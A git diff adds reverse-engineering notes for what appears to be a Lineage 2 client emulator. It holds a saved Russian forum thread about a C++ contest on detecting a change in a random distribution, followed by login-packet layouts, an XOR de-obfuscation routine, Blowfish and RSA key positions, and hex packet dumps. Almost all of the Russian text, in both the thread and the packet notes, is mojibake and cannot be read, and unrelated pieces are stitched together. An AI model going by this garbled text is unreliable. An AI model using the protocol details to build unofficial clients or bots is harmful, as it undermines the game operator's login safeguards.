int i; //Ð¿ÐµÑ€ÐµÐ¼ÐµÐ½Ð½Ð°Ñ Ñ†Ð¸ÐºÐ»Ð°
int N=10000; //длительноÑть Ñтапов измерениÑ

__int64 /*long long*/ Start; //Ñчетчик тактов до вызова
__int64 /*long long*/ Fin; //Ñчетчик тактов поÑле вызова
int Latency=0; //иÑÐºÐ¾Ð¼Ð°Ñ Ð·Ð°Ð´ÐµÑ€Ð¶ÐºÐ° ÑрабатываниÑ, в тактах

(FARPROC &) Tick = GetProcAddressA(
    LoadLibraryA("showdown.dll"), //Ð¸Ð¼Ñ Ð´Ð»Ð» можно брать и из командной Ñтроки
    0x80000001 //Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ñ Ð¾Ñ€Ð´Ð¸Ð½Ð°Ð»Ð¾Ð¼ 1
    );
//менÑем приоритет процеÑÑа
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);

//начинаем 1й Ñтап измерений - разгон функции
for (i=0;i<100;i++) //первые 100 итераций
{
    RandSeed = 134775813 * RandSeed + 1; //получаем новое чиÑло ГПСЧ
    x=RandSeed/4294967295.0; //Ñлучайное чиÑло от 0<=x<1
    (*Tick)(x);
};
//начинаем 2й Ñтап измерений - отлов ложных Ñрабатываний
for (i=0;i<N-100;i++) //итерации от 100 до N
{
    RandSeed = 134775813 * RandSeed + 1; //получаем новое чиÑло ГПСЧ
    x=RandSeed/4294967295.0; //Ñлучайное чиÑло от 0<=x<1
    y=(*Tick)(x);
    if(0==y)return -1; //возврат ошибки - ложное Ñрабатывание
};
//начинаем 3й Ñтап измерений - замер производительноÑти
for (i=0;i<N;i++) //итерации от N до 2*N, или пока Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð½Ðµ Ñработает (вернет 0)
{
    RandSeed = 134775813 * RandSeed + 1; //получаем новое чиÑло ГПСЧ
    x=(RandSeed/2)/4294967295.0; //Ñлучайное чиÑло от 0<=x<0.5
    Sleep(1); //ждем Ñледующего кванта времени
    __asm {
        cpuid //"чиÑтим трубы" (U&V pipes ;))
        rdtsc //читаем Ñчетчик тактов ЦПУ
        mov dword ptr [Start],eax //ÑохранÑем в переменную младший dword
        mov dword ptr [Start+4],edx //ÑохранÑем в переменную Ñтарший dword
    };
    y=(*Tick)(x);
    __asm {
        cpuid //"чиÑтим трубы" (U&V pipes ;))
        rdtsc //читаем Ñчетчик тактов ЦПУ
        mov dword ptr [Fin],eax //ÑохранÑем в переменную младший dword
        mov dword ptr [Fin+4],edx //ÑохранÑем в переменную Ñтарший dword
    };
    Latency = Latency + (Fin-Start);
    if(0==y)
    { //Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ñработала
        return Latency; //возврат времени задержки
    };
};
return -2; //возврат ошибки - пропуÑк ÑрабатываниÑ
};
//Программа возвращает результат в ÑиÑтемной переменной ERRORLEVEL (в тактах ЦПУ)

Размер бинарника, иÑпользуемой виртуальной памÑти неограничен, но будем Ñчитать что прога будет работать на компе Ñ 512-1Гб ОЗУ


Что-то может Ñледует откорректировать, чтото уточнить, в целом думаю задача получилаÑÑŒ Ð½ÐµÐ¿Ð»Ð¾Ñ…Ð°Ñ =)
+
+ + + + + + +
Ðвтор: Kallikanzarid 11.12.2008, 21:50
Уточни парочку моментов:
1) Речь идет о нормальном раÑпределении Ñлучайных чиÑел?
2) +Что именно должна делать функциÑ? Как Ñ Ð¿Ð¾Ð½Ð¸Ð¼Ð°ÑŽ, ее выходное значение +завиÑит от того, какой по Ñчету раз ее вызвали и Ñовершенно не завиÑит +от передаваемого аргумента? Или Ñ Ð½ÐµÐ¿Ñ€Ð°Ð²Ð¸Ð»ÑŒÐ½Ð¾ понÑл?
3) Как Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¿Ð¾Ð»ÑƒÑ‡Ð¸Ñ‚ значение N?
+
+ + + + + + +
Ðвтор: GoldFinch 11.12.2008, 22:22
1) о равномерном, но можно Ñделать и нормальным. 
Цитата(GoldFinch @  11.12.2008,  21:13 Ðайти цитируемый поÑÑ‚)
некореллированную поÑледовательноÑть равномерно раÑпределенных вещеÑтвенных чиÑел Xi

2) Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð´Ð¾Ð»Ð¶Ð½Ð° определить что параметры входной поÑледовательноÑти изменилиÑÑŒ и вмеÑто 1 вернуть 0
например она должна вычиÑлÑть матожидание или диÑперÑию
фактичеÑки ее выходное значение должно както завиÑеть от предидущих значений
Как +именно завиÑеть - решать тебе. Чтобы хранить Ñти Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð¶Ð½Ð¾ +иÑпользовать глобальные переменные, маÑÑивы, буферы, что захочешь.
3) N и i ей знать не надо, только принимать входные чиÑла Xi, както накапливать их и возвращать

ВыглÑдит Ñто так
Код

i   N-5  N-4  N-3  N-2  N-1  N    N+1  N+2  N+3  N+4  N+5
A   1    1    1    1    1    0.5  0.5  0.5  0.5  0.5  0.5
Xi  0.9  0.2  0.6  0.7  0.1  0.3  0.4  0.1  0.2  0    0.1
y   1    1    1    1    1    1    ?    ?    ?    0    0
                                  <--- +D --->

+
+ + + + + + +
Ðвтор: J0ker 11.12.2008, 22:31
что-то мне мнитÑÑ, что производительноÑть в данной задаче будет упиратьÑÑ Ð² алгоритм, а не в то, на чем он напиÑан  smile 
+
+ + + + + + +
Ðвтор: GoldFinch 11.12.2008, 22:33
J0ker, ну Kallikanzarid же Ñказал что ему интереÑнее "Kallikanzarid vs GoldFinch" Ñ‡ÐµÐ¼ "С++ vs аÑм"...
+
+ + + + + + +
Ðвтор: J0ker 11.12.2008, 22:56
ну в таком Ñлучае мне +не ÑÑно, зачем вы нивелировали задачу 5-ÑŽ процентами - ИМХО ÑкороÑть и +качеÑтво Ð¾Ð¿Ñ€ÐµÐ´ÐµÐ»ÐµÐ½Ð¸Ñ Ð¿Ð°Ñ€Ð°Ð¼ÐµÑ‚Ñ€Ð° раÑÐ¿Ñ€ÐµÐ´ÐµÐ»ÐµÐ½Ð¸Ñ Ð´Ð¾Ð»Ð¶Ð½Ñ‹ входить в оценку +результата умÑтвенного онанизма оппонентов  smile 
+
+ + + + + + +
Ðвтор: GoldFinch 11.12.2008, 23:00
J0ker, а как +тогда оценку раÑÑчитывать? тем более что еÑли не задавать PлÑ, то +возможно будут Ñ€ÐµÑˆÐµÐ½Ð¸Ñ Ñ Ð¼Ð°ÐºÑимальным быÑтродейÑтвием и +принципом "угадал\неугадал"
+
+ + + + + + +
Ðвтор: J0ker 11.12.2008, 23:06
Цитата(GoldFinch @  11.12.2008,  23:00 Ðайти цитируемый поÑÑ‚)
J0ker, а как тогда оценку раÑÑчитывать?

ну так об Ñтом надо и договариватьÑÑ

Цитата(GoldFinch @  11.12.2008,  23:00 Ðайти цитируемый поÑÑ‚)
тем +более что еÑли не задавать PлÑ, то возможно будут Ñ€ÐµÑˆÐµÐ½Ð¸Ñ Ñ +макÑимальным быÑтродейÑтвием и принципом "угадал\неугадал" 

да, +но качеÑтво тогда ÑнизитÑÑ Ð²Ð´Ð²Ð¾Ðµ, при Ñтом в формуле должна учаÑтвовать +задержка D - в Ñтом Ñлучае такой алгоритм Ñтанет заведомо проигрышным
+
+ + + + + + +
Ðвтор: GoldFinch 11.12.2008, 23:19
J0ker, проще задать вероÑтноÑть не менее 95% чем выдумывать Ñомнительные интегральные критерии
+
+ + + + + + +
Ðвтор: Kallikanzarid 12.12.2008, 07:30
GoldFinch, лучше взÑть нормальное раÑпределение. И иÑпользовать не Ñамодельную ÑвриÑтику, а boost::random.

Рвообще задача очень интереÑнаѠ smile 
+
+ + + + + + +
Ðвтор: GoldFinch 12.12.2008, 08:59
Kallikanzarid, ок, а какие Ð¼Ð°Ñ‚Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ Ð¸ диÑперÑии?
и по какому алгоритму нормальное раÑпределение получать будем?
+
+ + + + + + +
Ðвтор: Kallikanzarid 12.12.2008, 12:29
Предлагаю матожидание - 0.70 и 0.25, а диÑперÑию - 0.3 и 0.15.
Ð”Ð»Ñ +гененрации предлагаю взÑть хорошо извеÑтную библиотеку boost::random +- http://www.boost.org/doc/libs/1_37_0/libs/random/index.html
+
+ + + + + + +
Ðвтор: GoldFinch 12.12.2008, 20:18
Цитата(Kallikanzarid @  12.12.2008,  12:29 Ðайти цитируемый поÑÑ‚)
Предлагаю матожидание - 0.70 и 0.25, а диÑперÑию - 0.3 и 0.15.

мм.... а почему именно такие чиÑла? выглÑдит Ñто неÑколько неудобно:
http://spreadsheets.google.com/pub?key=pneb3GWHrZ5iTmapONJT2ew&oid=1&output=image

впрочем, чтобы и нет...

мне библиотека boost::random, но еÑли она дейÑтвительно удобнаÑ, можно и ее применить

вот +еще какое предложение... еÑли учитывать что чиÑло итараций (N) до +момента Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð¿Ð°Ñ€Ð°Ð¼ÐµÑ‚Ñ€Ð¾Ð² раÑÐ¿Ñ€ÐµÐ´ÐµÐ»ÐµÐ½Ð¸Ñ Ð¼Ð°Ð»Ð¾, то возникает Ñоблазн +Ñделать в программе буфер чиÑел Ñтак на 10000000 и пиÑать вÑÑŽ входную +поÑледовательноÑть в него, не заботÑÑÑŒ о том что буфер может +закончитьÑÑ. Вот чтобы такого небыло, предлагаю Ñчитать N значительно +большим размера любого буфера.
+
+ + + + + + +
Ðвтор: Kallikanzarid 12.12.2008, 20:37
boost::random можешь +оценить Ñам - по ÑÑылке еÑть туториал. Ð Ð¼Ð°Ñ‚Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ Ð¸ диÑперÑии лучше +и правда Ñделать подальше друг от друга  smile

Добавлено через 2 минуты и 53 Ñекунды
ÐаÑчет N ÑоглаÑен, давай и правда Ñделаем его доÑтаточно большим.
+
+ + + + + + +
Ðвтор: Ln78 12.12.2008, 20:48
Цитата(J0ker @  11.12.2008,  22:31 Ðайти цитируемый поÑÑ‚)
что-то мне мнитÑÑ, что производительноÑть в данной задаче будет упиратьÑÑ Ð² алгоритм, а не в то, на чем он напиÑан  


Цитата(GoldFinch @  11.12.2008,  22:33 Ðайти цитируемый поÑÑ‚)
J0ker, ну Kallikanzarid же Ñказал что ему интереÑнее "Kallikanzarid vs GoldFinch" Ñ‡ÐµÐ¼ "С++ vs аÑм"... 


Давно на форум не заходил, тут такие бойкие новички поÑвилиÑÑŒ.

GoldFinch, +а почему ты Ñам задачу Ñтавишь? Это вÑÑ‘ равно, как еÑли бы, например, Ñ +предложил тебе такой вариант: давай Ñ Ð·Ð°Ð³Ð°Ð´Ð°ÑŽ чиÑло, а потом Ñ Ñ‚Ð¾Ð±Ð¾Ð¹ +поÑоревнуемÑÑ, кто его отгадает за меньшее чиÑло попыток. smile ÐŸÑ€Ð¾Ñите J0ker'а, чтобы он вам незавиÑимо от Ð²Ð°Ñ Ð·Ð°Ð´Ð°Ñ‡Ñƒ поÑтавил.
+
+ + + + + + +
Ðвтор: Kallikanzarid 12.12.2008, 21:11
Ln78, еÑли что, еще один раунд проведем. Рвот ÑудьÑ, который будет принимать длл-ки и говорить результаты, нам не помешает.
+
+ + + + + + +
Ðвтор: J0ker 12.12.2008, 21:12
Цитата(Ln78 @  12.12.2008,  20:48 Ðайти цитируемый поÑÑ‚)
ПроÑите J0ker'а, чтобы он вам незавиÑимо от Ð²Ð°Ñ Ð·Ð°Ð´Ð°Ñ‡Ñƒ поÑтавил. 

не, ÑпаÑибо
у Ð¼ÐµÐ½Ñ Ð½ÐµÑ‚ Ñпециального математичеÑкого образованиѠ smile 

Цитата(GoldFinch @  12.12.2008,  20:18 Ðайти цитируемый поÑÑ‚)
то возникает Ñоблазн Ñделать в программе буфер чиÑел Ñтак на 10000000 и пиÑать вÑÑŽ входную поÑледовательноÑть в него

какой в Ñтом ÑмыÑл, еÑли допуÑÑ‚Ð¸Ð¼Ð°Ñ Ð·Ð°Ð´ÐµÑ€Ð¶ÐºÐ° 5%
предлагаю +Ñделать раÑширÑемый буфер, равный 10% от текущего i - ИМХО единÑтвенное +логичное решение - раÑпределение-то заранее извеÑтно
+
+ + + + + + +
Ðвтор: Kallikanzarid 12.12.2008, 21:13
GoldFinch, предлагаю также вÑтроить в теÑтирующую программу опциональный индикатор прогреÑÑа.
+
+ + + + + + +
Ðвтор: GoldFinch 12.12.2008, 21:14
Ln78, а Ñ Ð²Ð¾Ð¾Ð±Ñ‰Ðµ на Ñтот форум не заходил, а тут зашел - а тут вот как интереÑно))))
Kallikanzarid +Ñам попроÑил чтобы Ñ Ð¿Ð¾Ñтавил задачу, Ñ ÐµÐµ и поÑтавил. Впринципе Ñ Ð½Ðµ +против того чтобы задачу Ñтавила 3Ñ Ñторона, еÑли конечно задача будет +интереÑнаÑ.

К Ñлову Ð´Ð»Ñ Ð¼ÐµÐ½Ñ Ñта задача доÑтаточно ÑложнаÑ, Ñ‚.к. Ñ ÑƒÐ¶Ðµ уÑпел благополучно забыть ÑтатиÑтику (еÑли было что забывать %))

Kallikanzarid, да не вопроÑ, можно еще Ñразу Ñделать 100 запуÑков алгорима, циклом:
for(int nTests=0; nTests<100; nTests++)
{
hDll=LoadLibrary("showdown.dll");
... //i-й теÑÑ‚
FreeLibrary(hDll);
};
+
Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)
\ No newline at end of file diff --git a/docs/l2client_internal_hooks_files/Thumbs.db b/docs/l2client_internal_hooks_files/Thumbs.db new file mode 100644 index 0000000..44dd075 Binary files /dev/null and b/docs/l2client_internal_hooks_files/Thumbs.db differ diff --git a/docs/l2client_internal_hooks_files/a.htm b/docs/l2client_internal_hooks_files/a.htm new file mode 100644 index 0000000..bd840a7 --- /dev/null +++ b/docs/l2client_internal_hooks_files/a.htm @@ -0,0 +1,9 @@ + + +404 Not Found + +

Not Found

+

The requested URL /< was not found on this server.

+
+
Apache/2.2.3 (Debian) PHP/5.2.0-8+etch13 Server at forum.vingrad.ru Port 8080
+ diff --git a/docs/l2client_internal_hooks_files/angel.gif b/docs/l2client_internal_hooks_files/angel.gif new file mode 100644 index 0000000..913732e Binary files /dev/null and b/docs/l2client_internal_hooks_files/angel.gif differ diff --git a/docs/l2client_internal_hooks_files/biggrin.gif b/docs/l2client_internal_hooks_files/biggrin.gif new file mode 100644 index 0000000..14ef976 Binary files /dev/null and b/docs/l2client_internal_hooks_files/biggrin.gif differ diff --git a/docs/l2client_internal_hooks_files/blum3.gif b/docs/l2client_internal_hooks_files/blum3.gif new file mode 100644 index 0000000..0adcf6a Binary files /dev/null and b/docs/l2client_internal_hooks_files/blum3.gif differ diff --git a/docs/l2client_internal_hooks_files/crazy.gif b/docs/l2client_internal_hooks_files/crazy.gif new file mode 100644 index 0000000..0586ca9 Binary files /dev/null and b/docs/l2client_internal_hooks_files/crazy.gif differ diff --git a/docs/l2client_internal_hooks_files/dance3.gif b/docs/l2client_internal_hooks_files/dance3.gif new file mode 100644 index 0000000..8ae9e3b Binary files /dev/null and b/docs/l2client_internal_hooks_files/dance3.gif differ diff --git a/docs/l2client_internal_hooks_files/dash1.gif b/docs/l2client_internal_hooks_files/dash1.gif new file mode 100644 index 0000000..831019e Binary files /dev/null and b/docs/l2client_internal_hooks_files/dash1.gif differ diff --git a/docs/l2client_internal_hooks_files/good.gif b/docs/l2client_internal_hooks_files/good.gif new file mode 100644 index 0000000..0c45cc2 Binary files /dev/null and b/docs/l2client_internal_hooks_files/good.gif differ diff --git a/docs/l2client_internal_hooks_files/nea.gif b/docs/l2client_internal_hooks_files/nea.gif new file mode 100644 index 0000000..a559084 Binary files /dev/null and b/docs/l2client_internal_hooks_files/nea.gif differ diff --git a/docs/l2client_internal_hooks_files/offtopic.gif b/docs/l2client_internal_hooks_files/offtopic.gif new file mode 100644 index 0000000..d84d692 Binary files /dev/null and b/docs/l2client_internal_hooks_files/offtopic.gif differ diff --git a/docs/l2client_internal_hooks_files/smile.gif b/docs/l2client_internal_hooks_files/smile.gif new file mode 100644 index 0000000..6ce5a4f Binary files /dev/null and b/docs/l2client_internal_hooks_files/smile.gif differ diff --git a/docs/l2client_internal_hooks_files/wacko.gif b/docs/l2client_internal_hooks_files/wacko.gif new file mode 100644 index 0000000..057e7ed Binary files /dev/null and b/docs/l2client_internal_hooks_files/wacko.gif differ diff --git a/docs/l2client_internal_hooks_files/wizard.gif b/docs/l2client_internal_hooks_files/wizard.gif new file mode 100644 index 0000000..8a6d11e Binary files /dev/null and b/docs/l2client_internal_hooks_files/wizard.gif differ diff --git a/docs/l2client_internal_hooks_files/yes3.gif b/docs/l2client_internal_hooks_files/yes3.gif new file mode 100644 index 0000000..bc05134 Binary files /dev/null and b/docs/l2client_internal_hooks_files/yes3.gif differ diff --git a/docs/l2ct2_KeyPacket.rawbytes b/docs/l2ct2_KeyPacket.rawbytes new file mode 100644 index 0000000..6cb48e0 Binary files /dev/null and b/docs/l2ct2_KeyPacket.rawbytes differ diff --git a/docs/l2ct2_gameserver.pcap b/docs/l2ct2_gameserver.pcap new file mode 100644 index 0000000..854f5e0 Binary files /dev/null and b/docs/l2ct2_gameserver.pcap differ diff --git a/docs/la2_client_emu.rar b/docs/la2_client_emu.rar new file mode 100644 index 0000000..2264224 Binary files /dev/null and b/docs/la2_client_emu.rar differ diff --git a/docs/loginpackets/AntiXOR_Init00.txt b/docs/loginpackets/AntiXOR_Init00.txt new file mode 100644 index 0000000..5d91266 --- /dev/null +++ b/docs/loginpackets/AntiXOR_Init00.txt @@ -0,0 +1,51 @@ +Âîññòàíîâëåíèå 0x00 ïàêåòà (ïîñëå ñíÿòèÿ blowfish): + +function AntiXOR(s:string):string; +var +i,key,b:integer; +begin +i:=length(s)-7; +move(s[i],key,4); +while i>7 do + begin + i:=i-4; + move(s[i],b,4); + b:=b xor key; + key:=key-b; + move(b,s[i],4); + end; +result:=s; +end; + +procedure Move ( const SourcePointer; var DestinationPointer; CopyCount : Integer ) ; + +============= XOR ----------------------- +public static void encXORPass(byte[] raw, final int offset, final int size, int key) + { + int stop = size-8; + int pos = 4 + offset; + int edx; + int ecx = key; // Initial xor key + + while (pos < stop) + { + edx = (raw[pos] & 0xFF); + edx |= (raw[pos+1] & 0xFF) << 8; + edx |= (raw[pos+2] & 0xFF) << 16; + edx |= (raw[pos+3] & 0xFF) << 24; + + ecx += edx; + + edx ^= ecx; + + raw[pos++] = (byte) (edx & 0xFF); + raw[pos++] = (byte) (edx >> 8 & 0xFF); + raw[pos++] = (byte) (edx >> 16 & 0xFF); + raw[pos++] = (byte) (edx >> 24 & 0xFF); + } + + raw[pos++] = (byte) (ecx & 0xFF); + raw[pos++] = (byte) (ecx >> 8 & 0xFF); + raw[pos++] = (byte) (ecx >> 16 & 0xFF); + raw[pos++] = (byte) (ecx >> 24 & 0xFF); + } \ No newline at end of file diff --git a/docs/loginpackets/GGAuthResponse_HellboundServer.txt b/docs/loginpackets/GGAuthResponse_HellboundServer.txt new file mode 100644 index 0000000..1ea1e89 --- /dev/null +++ b/docs/loginpackets/GGAuthResponse_HellboundServer.txt @@ -0,0 +1,4 @@ +2A // packet len - 42 bytes +0B +XX XX XX XX - SessionID (same from Init packet) +// rest is trash.... \ No newline at end of file diff --git a/docs/loginpackets/Init.txt b/docs/loginpackets/Init.txt new file mode 100644 index 0000000..25f33d2 --- /dev/null +++ b/docs/loginpackets/Init.txt @@ -0,0 +1,63 @@ +Êàæäûé ïàêåò ñîñòîèò èç ðàçìåðà ïàêåòà(2 áàéòà), òèïà ïàêåòà(1 áàéò) +è áëîêà ïàðàìåòðîâ(ïåðåìåííàÿ äëèíà).  äîïîëíåíèå ê ýòîìó, â ïàêåòàõ ñåðâåðà +àâòîðèçàöèè, â êîíöå äîáàâëÿåòñÿ êîíòðîëüíàÿ ñóììà è äîïîëíÿåòñÿ íóëÿìè òàê, +÷òîáû ðàçìåð ïàêåòà áûë êðàòåí 8-ìè áàéòàì. Êîíòðîëüíàÿ ñóììà ìîæåò +áûòü ðàññ÷èòàíà ñëåäóþùåé ôóíêöèåé: + +unsigned long checksum( unsigned char *packet, int count ) +{ + long chksum = 0L; + for( int i = 0; i < count; i += 4 ) chksum ^= *((unsigned long *)&raw[i]); + return chksum; +}; + + +Ïðîòîêîë lineage èñïîëüçóåò 6 ðàçíûõ òèïîâ äàííûõ: + +char – ìîæåò ïðèíèìàòü çíà÷åíèå îò -128 äî 127. Èìååò äëèíó 1 áàéò +short – ìîæåò ïðèíèìàòü çíà÷åíèå îò -32768 äî 32767. Èìååò äëèíó 2 áàéòà +int – ìîæåò ïðèíèìàòü çíà÷åíèå îò -2147483648 äî 2147483647. Èìååò äëèíó 4 áàéòà +int64 – ìîæåò ïðèíèìàòü çíà÷åíèå îò -9223372036854775808 äî 9223372036854775807. Èìååò äëèíó 8 áàéò. +float – ìîæåò ïðèíèìàòü çíà÷åíèå îò 2.22507e-308 äî 1.79769e+308. Èìååò äëèíó 8 áàéò +string – òåêñòîâàÿ ñòðîêà â þíèêîäå(UTF8). Êàæäàÿ áóêâà ïðåäñòàâëåíà äâóìÿ áàéòàìè, ïåðâûé áàéòîì êîä áóêâû, à âòîðîé – + íîìåð êîäîâîé òàáëèöû. Èíäèêàòîðîì êîíöà ñòðîêè ñëóæèò ñèìâîë ñ êîäîì 0. + + +00 - ðàçìåð ïàêåòà +00 - òèï ïàêåòà +07 82 67 5b - session ID +21 c6 00 00 - âåðñèÿ ïðîòîêîëà + +6a cf 4c f1 f1 9d 49 aa d0 06 +49 74 41 26 70 c5 3f 26 56 11 +f6 97 58 c3 df 98 0c 9e 98 7a +35 f8 b5 14 e2 60 5d b6 b4 92 +37 0c 31 59 09 df ff a6 3d bc +9b 09 db 88 50 9f 05 1f cb aa +52 40 13 9d a8 fc da 74 8f 99 +41 f0 19 4e ca 0b 40 b6 b9 ab +4a 45 85 ea 0a cf 5d 7c 03 e9 +06 fb cf ca be f7 a9 aa f8 3f +ec ef d5 da ec 9b dd 94 8b 7c +7c 57 9f 03 b7 45 86 21 ff 42 +b4 91 c3 c9 cc 7f 76 96 + - RSA êëþ÷ + +4e 95 dd 29 - +fc 9c c3 77 - +20 b6 ad 97 - +f7 e0 bd 07 - â êîììåíòàðèÿõ ðàçðàáîò÷èêîâ l2j ïðåäïîëàãàåòñÿ, + ÷òî ýòè ÷åòûðå ÷èñëà ñâÿçàíû ñ ÃÃ, âî + âñÿêîì ñëó÷àå îíè âñåãäà ïîñòîÿííû + +0a 6f cd 13 +40 ef 06 70 +d2 bd d 91 +f1 39 5c 11 - íîâûé êëþ÷ Blowfish, êîòîðûì íàì è ïðåäñòîèò + ïîëüçîâàòüñÿ äàëüøå ïðè îáùåíèè ñ + ëîãèíñåðâåðîì + +00 - êîíåö ïàêåòà + +79 50 92 10 5f d5 b7 f 4a 95 +df 7a fd 47 \ No newline at end of file diff --git a/docs/loginpackets/Init2.txt b/docs/loginpackets/Init2.txt new file mode 100644 index 0000000..1e9218a --- /dev/null +++ b/docs/loginpackets/Init2.txt @@ -0,0 +1,60 @@ + 1: 00 [0] + 4: AA BB CC DD [4-7] SessionID + 4: 21 C6 00 00 [8-11] ProtoVer +128: RSA public key Modulus [12-139] + 16: GG shit? [140-155] + 16: BF key [156-171] + 1: 00 [172] ? end of packet? + 10: some trash?? [173-182] + 4: XOR key [183-186] // invalid, XOR key is not last 4 bytes, it is previous dword + +ba 00 - ðàçìåð ïàêåòà +00 - òèï ïàêåòà +07 82 67 5b - session ID +21 c6 00 00 - âåðñèÿ ïðîòîêîëà + +6a cf 4c f1 f1 9d 49 aa d0 06 +49 74 41 26 70 c5 3f 26 56 11 +f6 97 58 c3 df 98 0c 9e 98 7a +35 f8 b5 14 e2 60 5d b6 b4 92 +37 0c 31 59 09 df ff a6 3d bc +9b 09 db 88 50 9f 05 1f cb aa +52 40 13 9d a8 fc da 74 8f 99 +41 f0 19 4e ca 0b 40 b6 b9 ab +4a 45 85 ea 0a cf 5d 7c 03 e9 +06 fb cf ca be f7 a9 aa f8 3f +ec ef d5 da ec 9b dd 94 8b 7c +7c 57 9f 03 b7 45 86 21 ff 42 +b4 91 c3 c9 cc 7f 76 96 + - RSA êëþ÷ + +4e 95 dd 29 - +fc 9c c3 77 - +20 b6 ad 97 - +f7 e0 bd 07 - â êîììåíòàðèÿõ ðàçðàáîò÷èêîâ l2j ïðåäïîëàãàåòñÿ, + ÷òî ýòè ÷åòûðå ÷èñëà ñâÿçàíû ñ ÃÃ, âî + âñÿêîì ñëó÷àå îíè âñåãäà ïîñòîÿííû +0a 6f cd 13 +40 ef 06 70 +d2 bd d 91 +f1 39 5c 11 - íîâûé êëþ÷ Blowfish, êîòîðûì íàì è ïðåäñòîèò + ïîëüçîâàòüñÿ äàëüøå ïðè îáùåíèè ñ + ëîãèíñåðâåðîì + +00 - êîíåö ïàêåòà +79 50 92 10 5f d5 b7 f 4a 95 +df 7a fd 47 + + + + + 1: 00 [0] + 4: AA BB CC DD [4-7] SessionID + 4: 21 C6 00 00 [8-11] ProtoVer +128: RSA public key Modulus [12-139] + 16: GG shit? [140-155] + 16: BF key [156-171] + 1: 00 [172] ? end of packet? + 4: xx xx xx xx [173,174,175,176] - padding to 8-byte len + 10: xxx xxx XOR XOR XOR XOR xxx xxx xxx xxx + [177 178 179 180 181 182 183 184 185 186] \ No newline at end of file diff --git a/docs/loginpackets/Init_L2J.cpp b/docs/loginpackets/Init_L2J.cpp new file mode 100644 index 0000000..9045788 --- /dev/null +++ b/docs/loginpackets/Init_L2J.cpp @@ -0,0 +1,60 @@ +/** + * Format: dd b dddd s + * d: session id + * d: protocol revision + * b: 0x90 bytes : 0x80 bytes for the scrambled RSA public key + * 0x10 bytes at 0x00 + * d: unknow + * d: unknow + * d: unknow + * d: unknow + * s: blowfish key + * + */ + +class Init: public L2LoginServerPacket +{ +private: + int _sessionId; + byte *_publicKey; + byte *_blowfishKey; + +public: + Init( L2LoginClient &client ) + { + this( client.getScrambledModulus(), client.getBlowfishKey(), client.getSessionId() ); + } + + Init( byte *publickey, byte *blowfishkey, int sessionId ) + { + _sessionId = sessionId; + _publicKey = publickey; + _blowfishKey = blowfishkey; + } + +protected: + /** + * @see com.l2jserver.mmocore.network.SendablePacket#write() + */ + @Override + void write() + { + writeC(0x00); // init packet id // 1 + + writeD(_sessionId); // session id // 1+4=5 + writeD(0x0000c621); // protocol revision // 5+4=9 + + writeB(_publicKey); // RSA Public Key // 9+128=137 + + // here must be unknown 16 bytes?? + + // unk GG related? + writeD(0x29DD954E); + writeD(0x77C39CFC); + writeD(0x97ADB620); + writeD(0x07BDE0F7); // // 137+16=153 + + writeB(_blowfishKey); // BlowFish key // 153+16=169 + writeC(0x00); // null termination ;) // 170? :\ + } +} diff --git a/docs/loginpackets/LoginOK_HellboundServer.txt b/docs/loginpackets/LoginOK_HellboundServer.txt new file mode 100644 index 0000000..90e7db0 --- /dev/null +++ b/docs/loginpackets/LoginOK_HellboundServer.txt @@ -0,0 +1,10 @@ +42 00 +03 +C7 41 0B 00 A4 01 B8 2A +00 00 00 00 00 00 00 00 +DA 07 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 03 D8 6B F4 88 61 42 +4D CC 0A 01 4B 04 70 diff --git a/docs/loginpackets/PlayOK_HellboundServer.txt b/docs/loginpackets/PlayOK_HellboundServer.txt new file mode 100644 index 0000000..ca4b5d6 --- /dev/null +++ b/docs/loginpackets/PlayOK_HellboundServer.txt @@ -0,0 +1,5 @@ +1A 00 // packet size - 26 bytes +07 // packet code - LoginOK +8C BF 00 00 C7 41 0B 00 // Session Key #2 +09 2E 5C 18 41 04 00 // padding?? +1F 03 D4 57 00 44 B7 82 // checksum?? \ No newline at end of file diff --git a/docs/loginpackets/RequestAuthLogin_HellboundClient.txt b/docs/loginpackets/RequestAuthLogin_HellboundClient.txt new file mode 100644 index 0000000..b2c3a5f --- /dev/null +++ b/docs/loginpackets/RequestAuthLogin_HellboundClient.txt @@ -0,0 +1,34 @@ +ReceiveL2Packet(): Received plen byte 2; plen is: 00B2 (178) +ReceiveL2Packet(): Received full packet len 178 +ProcessClient(): rcvd 178 bytes of RequestAuthLogin packet from client. +SendL2Packet(): Sending 178 len packet (0xB2) +SendL2Packet(): All 178 (0xB2) bytes sent +ProcessClient(): resent 178 bytes of RequestAuthLogin packet to server. +L2LoginPacket::setDynamicBFKey(): set dynamic BF key of len = 16 +L2LoginPacket::decodeBlowfish(): using DYNAMIC BF KEY +L2LoginPacket::decodeBlowfish(): Decode2: 22 passes, 22 8-byte blocks +L2BasePacket::dumpToFile() begin +-- read_ptr : 2 +-- write_ptr : 178 +-- buffer_size : 256 +-- real_size : 178 +-- Packet size : 178 (B2 00) +-- Packet type : 0 (00) +-- ByteArray b : +B2 00 // packet len; 0xB2 = 178 +00 // RequestAuthLogin packet code (0) +43 66 40 9D EF 8D 54 50 6D 22 F7 C4 86 AA 98 08 \\ +AD BC F5 15 CC 7D DF C8 60 A8 1A 49 7E D9 1D A5 \\ +E7 D1 14 A6 9A B1 42 85 B1 C8 91 94 00 44 AF F7 \\ +18 F2 25 3C BD D6 D5 7C BE 63 CF 8A D6 B7 9A 18 |\ 128-bytes block with +8D EA D8 99 73 98 82 72 AF 53 D3 B8 0C E4 D6 54 |/ login/password [1..128] +95 E1 AF B1 F3 A1 A8 04 EF 55 1C B7 8E 4E BB 0F // +51 D0 49 90 39 E2 79 06 11 60 64 1E 67 88 6E 67 // +55 6A D8 DB 77 11 C4 44 39 48 2D E3 F8 A0 47 30 // +8D 30 12 00 // sessionID? maybe, from GGAuthResponse [129..132] +00 00 00 00 